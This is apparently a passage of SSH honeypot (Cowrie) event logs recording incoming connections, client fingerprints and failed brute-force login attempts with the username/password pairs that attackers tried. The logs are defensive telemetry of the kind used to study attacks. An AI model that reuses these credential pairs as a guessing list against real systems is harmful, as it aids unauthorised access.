{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:48:23.898158Z","src_ip":"2.57.122.208","session":"2ab21078a01f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:48:23.997381Z","src_ip":"2.57.122.208","session":"2ab21078a01f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:48:24.432560Z","src_ip":"2.57.122.208","session":"2ab21078a01f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:48:25.552850Z","src_ip":"2.57.122.208","session":"2ab21078a01f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":38194,"dst_ip":"10.17.0.5","dst_port":22,"session":"17eedfadfcbb","protocol":"ssh","message":"New connection: 92.118.39.76:38194 (10.17.0.5:22) [session: 17eedfadfcbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:48:37.031662Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:48:37.138989Z","src_ip":"92.118.39.76","session":"17eedfadfcbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.77.48","src_port":60240,"dst_ip":"10.17.0.5","dst_port":22,"session":"10883e4cdba2","protocol":"ssh","message":"New connection: 103.154.77.48:60240 (10.17.0.5:22) [session: 10883e4cdba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:48:46.180325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:48:46.183504Z","src_ip":"103.154.77.48","session":"10883e4cdba2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:48:46.440752Z","src_ip":"103.154.77.48","session":"10883e4cdba2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"viewtinet","password":"Viewtinet123!","message":"login attempt [viewtinet/Viewtinet123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:48:47.507434Z","src_ip":"103.154.77.48","session":"10883e4cdba2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:48:48.767903Z","src_ip":"103.154.77.48","session":"10883e4cdba2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.78.78","src_port":60476,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb9f781fb115","protocol":"ssh","message":"New connection: 42.200.78.78:60476 (10.17.0.5:22) [session: eb9f781fb115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:49:17.647572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:49:17.652103Z","src_ip":"42.200.78.78","session":"eb9f781fb115","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:49:17.869697Z","src_ip":"42.200.78.78","session":"eb9f781fb115","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"infra","password":"infra","message":"login attempt [infra/infra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:49:18.774257Z","src_ip":"42.200.78.78","session":"eb9f781fb115","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:49:19.994059Z","src_ip":"42.200.78.78","session":"eb9f781fb115","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":42124,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b95690a418a","protocol":"ssh","message":"New connection: 92.118.39.95:42124 (159.203.135.109:22) [session: 0b95690a418a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:49:26.249528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:49:26.253681Z","src_ip":"92.118.39.95","session":"0b95690a418a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:49:26.378033Z","src_ip":"92.118.39.95","session":"0b95690a418a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:49:26.694062Z","src_ip":"92.118.39.95","session":"0b95690a418a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:49:27.799649Z","src_ip":"92.118.39.95","session":"0b95690a418a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.126.82.218","src_port":44756,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1ea5ddb2443","protocol":"ssh","message":"New connection: 101.126.82.218:44756 (10.17.0.5:22) [session: f1ea5ddb2443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:49:38.472304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:49:38.476498Z","src_ip":"101.126.82.218","session":"f1ea5ddb2443","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:49:38.726957Z","src_ip":"101.126.82.218","session":"f1ea5ddb2443","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marek","password":"Marek","message":"login attempt [marek/Marek] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:49:39.701593Z","src_ip":"101.126.82.218","session":"f1ea5ddb2443","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:49:40.947094Z","src_ip":"101.126.82.218","session":"f1ea5ddb2443","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.240.121","src_port":53078,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e75ede55853","protocol":"ssh","message":"New connection: 5.75.240.121:53078 (159.203.135.109:22) [session: 7e75ede55853]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:50:23.713786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:50:23.717886Z","src_ip":"5.75.240.121","session":"7e75ede55853","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:50:23.812007Z","src_ip":"5.75.240.121","session":"7e75ede55853","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nnn","password":"Nnn2017","message":"login attempt [nnn/Nnn2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:50:24.002631Z","src_ip":"5.75.240.121","session":"7e75ede55853","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:50:25.099827Z","src_ip":"5.75.240.121","session":"7e75ede55853","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.196.64.198","src_port":53286,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc81dbd046e6","protocol":"ssh","message":"New connection: 20.196.64.198:53286 (10.17.0.5:22) [session: dc81dbd046e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:50:25.860425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:50:25.864604Z","src_ip":"20.196.64.198","session":"dc81dbd046e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:50:26.052262Z","src_ip":"20.196.64.198","session":"dc81dbd046e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prashant","password":"123456","message":"login attempt [prashant/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:50:26.851261Z","src_ip":"20.196.64.198","session":"dc81dbd046e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:50:28.039944Z","src_ip":"20.196.64.198","session":"dc81dbd046e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.77.48","src_port":34900,"dst_ip":"10.17.0.5","dst_port":22,"session":"e64dffedbf82","protocol":"ssh","message":"New connection: 103.154.77.48:34900 (10.17.0.5:22) [session: e64dffedbf82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:50:37.914153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:50:37.918031Z","src_ip":"103.154.77.48","session":"e64dffedbf82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:50:38.179535Z","src_ip":"103.154.77.48","session":"e64dffedbf82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nfe","password":"nfe123","message":"login attempt [nfe/nfe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:50:39.260353Z","src_ip":"103.154.77.48","session":"e64dffedbf82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:50:40.524626Z","src_ip":"103.154.77.48","session":"e64dffedbf82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.78.78","src_port":39178,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf45e23c1732","protocol":"ssh","message":"New connection: 42.200.78.78:39178 (10.17.0.5:22) [session: cf45e23c1732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:51:14.328731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:51:14.333244Z","src_ip":"42.200.78.78","session":"cf45e23c1732","protocol":"ssh"}
